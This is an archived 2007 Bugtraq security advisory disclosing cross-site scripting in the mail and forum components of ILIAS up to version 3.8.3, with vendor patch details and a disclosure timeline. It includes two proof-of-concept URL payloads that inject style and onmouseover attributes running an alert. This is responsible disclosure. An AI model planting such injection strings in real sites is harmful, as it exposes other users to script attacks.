Home page logo
/

bugtraq logo Bugtraq mailing list archives

ILIAS <= 3.8.3 Cross Site Scripting
From: L4teral <l4teral () gmail com>
Date: Tue, 30 Oct 2007 22:14:33 +0100

======================================================================
ILIAS <= 3.8.3 Cross Site Scripting
======================================================================

Author:          L4teral <l4teral [4t] gmail com>
Impact:          Cross Site Scripting
Status:          patch available


------------------------------
Affected software description:
------------------------------

Application:     ILIAS
Version:         <= 3.8.3
Vendor:          http://www.ilias.de

Description:
ILIAS is a powerful web-based learning management system that allows
you to easily manage learning resources in an integrated system.


--------------
Vulnerability:
--------------

The mailing and forum components are vulnerable to cross site scripting.


------------
PoC/Exploit:
------------

create forum post/mail with:
http://www.ex"style="width:expression(alert('xss'))"ample.com

http://www.ex"onmouseover="javascript:alert('xss');"ample.com


---------
Solution:
---------

install security patch:
http://www.ilias.de/docu/goto.php?target=pg_16836_35&client_id=docu


---------
Timeline:
---------

17.10.2007 - vendor informed
25.10.2007 - vendor responded
29.10.2007 - vendor released patch
30.10.2007 - public disclosure


  By Date           By Thread  

Current thread:
  • ILIAS <= 3.8.3 Cross Site Scripting L4teral (Oct 30)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault